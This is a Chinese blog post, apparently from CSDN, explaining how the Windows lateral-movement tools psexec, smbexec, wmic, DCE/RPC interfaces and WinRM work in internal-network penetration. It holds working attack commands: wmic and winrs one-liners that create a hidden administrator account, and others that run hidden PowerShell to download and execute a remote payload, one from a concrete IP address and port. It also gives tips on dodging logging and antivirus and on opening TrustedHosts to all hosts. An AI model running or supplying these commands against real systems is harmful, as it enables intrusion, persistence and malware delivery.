一些横向工具(攻击)的底层原理

本文介绍了内网渗透中使用的工具如psexec(使用ntlm认证)、smbexec的工作原理和使用技巧,以及如何利用WMIC、RPC和WinRM进行无日志管理操作,同时提到了安全注意事项,如避免日志记录和杀毒软件的拦截。
摘要由CSDN通过智能技术生成

这段时间一直在学习内网,现在也快结束了,所以刚好也可以整理一下知识,发一发csdn。

psexec

注意是pstools中的psexec,不是impacket的psexec

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

使用psexec工具的时候,默认是使用ntlm认证

建立认证之后,建立ipc连接,然后建立默认admin$共享文件夹(admin$共享文件夹默认路径是c:\windows)

然后会上传一个psexecsvc.exe文件到这个admin$共享文件夹下,也就是c:\windows下

然后就是调用svcctl并创建PSEXESVC服务,该服务是运行PSEXESVC.EXE程序

调用服务创建命名管道
命名管道基于smb协议通信,它是用来让两个进程间进行通信的命名管道有点类似于socket连接,是用来传输数据的

小提示:Psexec会留下大量的日志,因为涉及到创建服务和认证。并且杀软很有可能会拦截,不让进行ipc连接。

smbexec

SMBEXEC工作原理是这样的
1、建立IPC$连接
2、通过服务执行命令
2、将命令放在%temp%/execute.bat中
3、运行execute.bat文件,将结果存储在C:/__output文件中
4、删除execute.bat
5、通过客户端读取目标机器的C:/__output文件中内容

smb先建立ipc连接

然后svcctl启动服务BTOBTO,服务执行下面这个命令

Binary Path Name: %COMSPEC% /Q /c echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

提示:使用这个工具的时候执行命令就好,不要用来执行软件

原因:

上面执行的代码

%COMSPEC% /Q /c echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat




comspec是调用cmd,/Q是不回显 /c是执行完命令后结束


echo whoami ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat

这个代码的意思是输入whoami > \\127.0.0.1\C$\__output 2>&1 写入到tmep目录下的execute.bat(2>&1是错误输出那些)


%COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

这个代码的意思是执行execute.bat(在cmd中执行whoami,然后将结果输出到c盘下的__output文件),然后删除这个bat

最后是工具去读取这个__output

理解了这个原因之后就很简单了,使用这个工具去执行软件(例calc)的时候,软件虽然执行了,但是没有回显,工具处于等待状态,没有东西输出到__output文件中,进程卡在这里

就算这时候ctrl+c断开连接,重连也没有用,必须先把那个软件(calc)给关闭了才能继续。

提示:smbexec在日志中也有大量的命令执行的结果

wmic

WMI是Windows在Powershell还未发布前,微软用来管理Windows系统的重要数据库工具,WMI本身的组织架构是一个数据库架构,WMI 服务使用 DCOM或 WinRM 协议, 在使用 wmiexec 进行横向移动时,windows 操作系统默认不会将 WMI 的操作记录在日志中。

wmic是一个类似于cmd的命令集,且不会被记录在日志中,且不会被杀,不会报毒

当然你上线的ps脚本这些该报还是会报,所以还是要免杀

1、执行命令并且输出
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c ipconfig >c:\ip.txt" 
2、列出远程主机进程
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process list brief
3、在远程系统上执行bat脚本
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create c:\test.bat
4、添加用户
wmic /node:IP地址 /user:本地用户管理员/域管理员 /password:密码 process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add"
5、执行powershell上线
wmic /NODE:IP /user:本地用户管理员/域管理员 /password:密码 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://www.asdf.com/ps脚本地址'))\""

这个wmic使用的是RPC协议

RPC

DCERPC是一个非常基础的Windows系统的通信协议。 DCERPC比RDP协议更普遍,默认开启,内容丰富,接口众多,早期的安全人员在其基础上写了很多蠕虫病毒,DCERPC的默认端口是135,上面承载了包含WMI,认证包括ntlm挑战响应,甚至还能获取网卡IP地址列表

OXIDResolve接口

第一个要分析的是RPC协议的OXIDResolve接口

他这有4个数据包

第一个数据包表明了利用RPC协议即将调用的接口,是OXIDResolve

第2个数据包,是目标机器返回的数据包,里面包含了确认信息,没有关键的东西

第三个数据包,利用dcom发起OXID接口的请求数据包

第4个数据包,OXID接口返回的数据,非常重要,里面包含了,工作组名字,域名,IP地址(所有网卡的IP地址)IPV6地址等

这几个数据包下来,我们发现,这个接口的访问是未授权的(并没有进行认证,只用使用RPD调用OXID就可以)

我们直接就可以通过这个接口得到目标机器的相关信息(机器名 IP 多网卡等)

很多工具也都有这个功能,例如cs的拉冬插件

isystemactivator接口

这个也是4个数据包

第一个数据包是发送给目标机器的,包含了认证方式NTLM,还有即将请求的接口类型、UUID

第2个数据包:因为该接口是远程调用接口,需要进行认证,这里使用NTLM挑战相应认证,所以数据包是challenge值,并且包含了自己的主机的相关信息,包含了域名,电脑名,DNS域名,还有DNS电脑名

第3个数据包:第三个数据包是response值,用于认证
(上面那个不需要认证,只用了两个数据包调接口,这个要认证就用了三个数据包调接口)

第4个数据包:认证成功之后接着远程调用isystemactivator接口的remotecreateinstance函数作用是为实际对象创建对象引用

在这些数据包中,并没有明文显示cmd,ipconfig这些操作。里面的重要信息,就是第2个数据包的challenge值,但没有之前那个Oxid探测的信息重要

winrm

Windows远程管理,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。Server2008 R2中默认开启该服务,Server2012开始,该服务便集成在系统中默认开启,家庭版的电脑是默认关闭的这种远程连接不会被客户端察觉到,也不会占用远程连接数

开启:
开启WinRM服务 powershell 运行 enable-psremoting或者cmd运行winrm quickconfig

查询:
如果已经开启了服务提示如下询问,当然也可以查询端口看看是否开启
powershell运行netstat -ano   或者运行enable-psremoting(重启命令)

关闭:
任务管理器找到wimrm结束即可

运行winrm
在powershell中输入以下命令
winrs -r:http://192.168.41.10:5985 -u:administrator -p:admin@123 "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig" 
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}

这个winrm通信走的NTLM挑战相应协议,简单粗暴

直接上数据包吧

先看一下挑战值数据包,该数据在HTTP协议中的 authenticate中经过了加密,其中包含了挑战值还有访问机器的相关OS信息

response包,也是通过HTTP协议中的authorization字段进行传输和认证

认证通过后通过POST传输数据, 在data中就是具体传输的数据,不过进行加密了

Winrm通信特征还是很明显的
1. 默认情况下,WinRM 使用 TCP 端口号 5985(HTTP)和 5986(HTTPS)进行通信。
2. WinRM 支持不同类型的身份验证和安全协议,如基本身份验证、NTLM 和 Kerberos
3. 请求的地址的wsman

这种横向移动的方式杀软不会触发,只需要将命令换成上线命令就行了,这里只需要对powershell做免杀就行了

winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "powershell.exe - nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))"

如果执行的过程中出现
Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。

只需要输入winrm set winrm/config/Client @{TrustedHosts="*"}
用这个命令添加主机信息就好了
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值